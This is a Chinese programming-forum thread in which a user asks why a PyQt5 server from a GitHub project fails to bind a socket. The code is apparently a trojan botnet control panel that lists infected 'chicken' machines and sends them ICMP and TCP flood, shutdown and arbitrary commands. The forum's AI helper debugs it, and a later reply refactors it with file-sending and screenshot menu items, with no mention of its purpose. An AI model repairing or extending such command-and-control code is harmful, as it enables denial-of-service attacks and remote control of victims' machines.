OSError: [WinError 10049] 在其上下文中，该请求的地址无效。
在github上下了一个开源项目，打算研究一下，但是出现了标题一样的错误，求各位大神们如何消除BUG，代码如下:import builtins
import sys
from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import QMenu, QWidget, QApplication, QListWidgetItem, QAction, QCheckBox, QLabel
from control_panel import DetailMain
STDprint = builtins.print
from ServerUI import Ui_Server
from server import TrojanServer, Chienken
class Conmunication(QObject):
chickenUpSignal = pyqtSignal(Chienken)
selectChangeSignal = pyqtSignal(str)
listFreshSignal = pyqtSignal(int, Chienken)
refreshSignal = pyqtSignal()
class ServerMain(QWidget, Ui_Server):
def __init__(self):
super().__init__()
self.setupUi(self)
builtins.print = self.displayLog
self.trojanServer = TrojanServer()
self.signals = Conmunication()
self.trojanServer.signals = self.signals
self.signals.chickenUpSignal.connect(self.addToCurrentList)
self.freshCurrentList()
self.ipInput.setText(self.trojanServer.bind_IP)
self.usp.setText(str(self.trojanServer.udpPort))
self.urp.setText(str(self.trojanServer.udpRecvPort))
self.tp.setText(str(self.trojanServer.tcpPort))
self.bind()
print("Welcome!")
def bind(self):
self.cmdEdit.returnPressed.connect(self.sendCmd)
self.signals.selectChangeSignal.connect(self.changeSelected)
self.freshlist.clicked.connect(self.freshCurrentList)
self.scanAll.clicked.connect(self.trojanServer.scanAll)
self.signals.listFreshSignal.connect(self.freshItem)
self.saveButton.clicked.connect(self.save)
self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
self.all_button.clicked.connect(self.checkall)
self.reverse_button.clicked.connect(self.reverseCheck)
self.icmpButton.clicked.connect(self.icmp)
self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
self.deletebutton.clicked.connect(self.deleteSelected)
self.shutdownButton.clicked.connect(self.shutChicken)
self.stopbutton.clicked.connect(lambda :self.opeate("floodStop"))
self.tcpfloodbutton.clicked.connect(self.tcpFlood)
def deleteSelected(self):
selected = self.getSelect()
for i in reversed(selected):
self.trojanServer.cmdQ.put("delete %d"%i)
# for c in selected:
# self.trojanServer.cmdQ.put("msg " + str(c) + " %s" % type)
def icmp(self):
self.opeate("icmpFlood %s" % self.attack_ip.text())
def tcpFlood(self):
self.opeate("tcpFlood %s %s" % (self.attack_ip.text(), self.attack_port.text()))
def shutChicken(self):
self.opeate(r"shutdown \s")
def opeate(self, type):
selected = self.getSelect()
for c in selected:
self.trojanServer.cmdQ.put("msg "+str(c)+" %s" % type)
def freshItem(self, index, chicken):
check:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(index))
check.setText("[%d][%s] %s\tip:%s\tport:%d "%(index,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
def myListWidgetContext(self, point):
item = self.chickenlist.itemAt(point)
if not item:
return
checkbox:QCheckBox = self.chickenlist.itemWidget(item)
row = int(checkbox.text().split(']'))
popMenu = QMenu()
a1 = QAction(u'连接', self)
a2 = QAction(u'删除', self)
popMenu.addAction(a1)
popMenu.addAction(a2)
a1.triggered.connect(lambda :self.openDetail(row))
a2.triggered.connect(lambda :self.trojanServer.cmdQ.put("delete %d"%row))
popMenu.exec_(QCursor.pos())
def openDetail(self, row):
print("control %d" %row)
detail = DetailMain(self.trojanServer, row)
detail.show()
detail.connect_button.clicked.emit()
def save(self):
self.trojanServer.cmdQ.put("save")
def sendCmd(self):
cmd = self.cmdEdit.text()
self.cmdEdit.clear()
if cmd == "cls" or cmd == 'clear':
self.logbrow.clear()
return
self.trojanServer.cmdQ.put(cmd)
def changeSelected(self, name):
# self.selectedLabel.setText(name)
pass
def displayLog(self, content, end='\n'):
self.logbrow.append(str(content))
self.logbrow.moveCursor(self.logbrow.textCursor().End)
def freshCurrentList(self):
i:int = 0
online = self.online_check.isChecked()
offline = self.offline_check.isChecked()
self.chickenlist.clear()
for chicken in self.trojanServer.allChickens:
if (chicken.online and online) or (not chicken.online and offline):
box = QCheckBox("[%d][%s] %s\tip:%s\tport:%d "%(i,"在线" if chicken.online else "离线", chicken.name, chicken.ip, chicken.port))
item = QListWidgetItem()
self.chickenlist.addItem(item)
self.chickenlist.setItemWidget(item, box)
box.clicked.connect(self.chickenChecked)
i += 1
def chickenChecked(self):
sender = self.sender()
print("check "+sender.text().split(']'))
def addToCurrentList(self, chicken:Chienken):
self.freshCurrentList()
def getSelect(self):
count = self.chickenlist.count()
res = []
for i in range(0, count):
box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
if box.isChecked():
res.append(i)
return res
def checkall(self):
count = self.chickenlist.count()
for i in range(0, count):
box:QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
box.setChecked(True)
def reverseCheck(self):
count = self.chickenlist.count()
for i in range(0, count):
box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
box.setChecked(not box.isChecked())
def clearCheck(self):
count = self.chickenlist.count()
for i in range(0, count):
box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
box.setChecked(False)
def closeEvent(self, event):
self.save()
if __name__ == '__main__':
app = QApplication(sys.argv)
MainWin = ServerMain()
MainWin.show()
sys.exit(app.exec_())
你遇到的错误 `OSError: 在其上下文中，该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的。可能原因如下：
1. 选择的IP地址不在当前系统的网络接口中，或者这个IP地址无法绑定。
2. 选择的端口已经被占用，或者处于保留状态。
代码中的几个关键变量值可能导致问题：
self.ipInput.setText(self.trojanServer.bind_IP)
self.usp.setText(str(self.trojanServer.udpPort))
self.urp.setText(str(self.trojanServer.udpRecvPort))
self.tp.setText(str(self.trojanServer.tcpPort))
为了排查和解决这个问题，可以尝试以下步骤：
[*]确保绑定的IP地址 (self.trojanServer.bind_IP) 是有效的，例如 "0.0.0.0" 或者 "127.0.0.1"。
[*]确保端口号 (self.trojanServer.udpPort、self.trojanServer.udpRecvPort、self.trojanServer.tcpPort) 没有被其他程序占用，且不在保留端口（如 0-1024）范围内。
[*]检查网络配置是否正确，比如是否开启了防火墙阻止相关端口通信。
另外，你的代码中存在一些语法错误和格式问题。例如，在方法 getSelect 中似乎忘记初始化 res：
def getSelect(self):
count = self.chickenlist.count()
res = []# 初始化 res 为一个空列表
for i in range(0, count):
box: QCheckBox = self.chickenlist.itemWidget(self.chickenlist.item(i))
if box.isChecked():
res.append(i)
return res
通过以上方式检查和修改你的代码，希望可以解决 `OSError` 的问题。如果你需要进一步的帮助，可以提供更多错误细节和上下文信息。
以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。 FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSError: 在其上下文中，该请求的地址无效` 通常是由于绑定到一个无效的IP地址或端口引起的 ...
self.tcpSocket.bind((self.bind_IP, self.tcpPort))
OSError: 在其上下文中，该请求的地址无效。
出现了以上的错误报告。 python小小白哟 发表于 2025-01-27 17:30
FishC 发表于 2025-1-27 17:29
你遇到的错误 `OSErro ...
根据错误报告 `OSError: 在其上下文中，该请求的地址无效。`，这是由于试图绑定到一个无效的 IP 地址或端口。请确保 `self.bind_IP` 和 `self.tcpPort` 的取值是正确的并且可以使用。
以下是一些可能的解决方案：
1. **确保 IP 地址是有效的**：确认 `self.bind_IP` 是你机器的一个有效 IP 地址，或者尝试使用 `0.0.0.0`（绑定到所有可用接口）或 `127.0.0.1`（仅绑定到本地接口）。
2. **检查端口是否被占用或者保留**：确认 `self.tcpPort` 不是系统保留的端口（通常保留端口是 0-1024），并且没有被其他程序占用。
3. **示例代码**：以下示例展示了如何修改你的 `bind` 方法来确保 IP 地址和端口号有效且可用：
def bind(self):
valid_ip = "127.0.0.1"# 或者 "0.0.0.0"
valid_port = 12345 # 确保这个端口没有被占用
self.cmdEdit.returnPressed.connect(self.sendCmd)
self.signals.selectChangeSignal.connect(self.changeSelected)
self.freshlist.clicked.connect(self.freshCurrentList)
self.scanAll.clicked.connect(self.trojanServer.scanAll)
self.signals.listFreshSignal.connect(self.freshItem)
self.saveButton.clicked.connect(self.save)
self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
self.chickenlist.customContextMenuRequested.connect(self.myListWidgetContext)
self.all_button.clicked.connect(self.checkall)
self.reverse_button.clicked.connect(self.reverseCheck)
self.icmpButton.clicked.connect(self.icmp)
self.signals.refreshSignal.connect(self.freshlist.clicked.emit)
self.deletebutton.clicked.connect(self.deleteSelected)
self.shutdownButton.clicked.connect(self.shutChicken)
self.stopbutton.clicked.connect(lambda: self.opeate("floodStop"))
self.tcpfloodbutton.clicked.connect(self.tcpFlood)
try:
self.trojanServer.bind_IP = valid_ip
self.trojanServer.tcpPort = valid_port
self.tcpSocket.bind((self.trojanServer.bind_IP, self.trojanServer.tcpPort))
print(f"Binding to {valid_ip}:{valid_port} succeeded!")
except OSError as e:
print(f"Binding to {valid_ip}:{valid_port} failed: {e}")
raise
确保替换你的 `bind` 方法中的相关部分，将 `valid_ip` 和 `valid_port` 改为适合你的实际环境的值。如果有必要，添加调试信息以帮助确定绑定失败的确切原因。
如果你还有其他问题，欢迎继续提问！
以上回复来自 FishC AI 小助理，如未能正确解答您的问题，请继续追问。 import builtins
import sys
from PyQt5.QtCore import pyqtSignal, QObject, Qt
from PyQt5.QtGui import QCursor
from PyQt5.QtWidgets import (QMenu, QWidget, QApplication, QListWidgetItem,
QAction, QCheckBox, QLabel)
from control_panel import DetailMain
STDprint = builtins.print
from ServerUI import Ui_Server
from server import TrojanServer, Chicken# 修正类名拼写
class Communication(QObject):# 修正拼写
chicken_up_signal = pyqtSignal(Chicken)
select_change_signal = pyqtSignal(str)
list_fresh_signal = pyqtSignal(int, Chicken)
refresh_signal = pyqtSignal()
class ServerMain(QWidget, Ui_Server):
def __init__(self):
super().__init__()
self.setupUi(self)
builtins.print = self.display_log
# 服务器核心组件
self.trojan_server = TrojanServer()
self.signals = Communication()
self.trojan_server.signals = self.signals
# 信号连接
self.signals.chicken_up_signal.connect(self.add_to_current_list)
self.signals.select_change_signal.connect(self.change_selected)
self.signals.list_fresh_signal.connect(self.fresh_item)
self.signals.refresh_signal.connect(self.fresh_list)
# 初始化UI
self._init_ui()
self._bind_events()
print("Server Initialized!")
def _init_ui(self):
"""初始化界面配置"""
self.ipInput.setText(self.trojan_server.bind_IP)
self.usp.setText(str(self.trojan_server.udpPort))
self.urp.setText(str(self.trojan_server.udpRecvPort))
self.tp.setText(str(self.trojan_server.tcpPort))
self.chickenlist.setContextMenuPolicy(Qt.CustomContextMenu)
def _bind_events(self):
"""绑定事件处理"""
self.cmdEdit.returnPressed.connect(self.send_cmd)
self.freshlist.clicked.connect(self.fresh_current_list)
self.scanAll.clicked.connect(self.trojan_server.scan_all)
self.saveButton.clicked.connect(self.save_config)
self.chickenlist.customContextMenuRequested.connect(self.show_context_menu)
self.all_button.clicked.connect(self.check_all)
self.reverse_button.clicked.connect(self.reverse_check)
self.icmpButton.clicked.connect(self.start_icmp_scan)
self.deletebutton.clicked.connect(self.delete_selected)
#region 核心功能实现
def display_log(self, *args, **kwargs):
"""重定向print到日志窗口"""
original_print(*args, **kwargs)
message = ' '.join(map(str, args))
self.logOutput.appendPlainText(message)
self.logOutput.verticalScrollBar().setValue(
self.logOutput.verticalScrollBar().maximum()
)
def send_cmd(self):
"""发送命令到选中客户端"""
if cmd := self.cmdEdit.text().strip():
selected = self.get_selected_clients()
if not selected:
print("Error: No client selected!")
return
for client in selected:
# 这里需要实现具体命令发送逻辑
print(f"Sending command to {client.id}: {cmd}")
self.cmdEdit.clear()
def fresh_current_list(self):
"""刷新客户端列表"""
self.chickenlist.clear()
for idx, client in enumerate(self.trojan_server.clients):
self.add_client_item(idx, client)
def add_to_current_list(self, client: Chicken):
"""添加新客户端到列表"""
self.add_client_item(self.chickenlist.count(), client)
print(f"New client connected: {client.id}")
def add_client_item(self, index: int, client: Chicken):
"""创建带复选框的列表项"""
item = QListWidgetItem()
widget = QWidget()
layout = QHBoxLayout(widget)
checkbox = QCheckBox()
label = QLabel(f"{client.id} ({client.ip})")
layout.addWidget(checkbox)
layout.addWidget(label)
layout.setContentsMargins(2, 2, 2, 2)
widget.checkbox = checkbox# 保存复选框引用
widget.client = client # 绑定客户端对象
self.chickenlist.addItem(item)
self.chickenlist.setItemWidget(item, widget)
#endregion
#region 上下文菜单相关
def show_context_menu(self, pos):
"""显示右键菜单"""
menu = QMenu()
actions = [
("详情", self.show_detail),
("发送文件", self.send_file),
("截屏", self.capture_screen)
]
for text, handler in actions:
action = QAction(text, self)
action.triggered.connect(handler)
menu.addAction(action)
menu.exec_(QCursor.pos())
def show_detail(self):
"""显示客户端详情"""
if selected := self.chickenlist.currentItem():
client = self.chickenlist.itemWidget(selected).client
self.detailPanel = DetailMain(client)
self.detailPanel.show()
#endregion
#region 配置管理
def save_config(self):
"""保存服务器配置"""
try:
self.trojan_server.bind_IP = self.ipInput.text()
self.trojan_server.udpPort = int(self.usp.text())
self.trojan_server.udpRecvPort = int(self.urp.text())
self.trojan_server.tcpPort = int(self.tp.text())
print("配置已保存")
except ValueError as e:
print(f"保存失败: {str(e)}")
#endregion
if __name__ == "__main__":
app = QApplication(sys.argv)
window = ServerMain()
window.show()
sys.exit(app.exec_())
```
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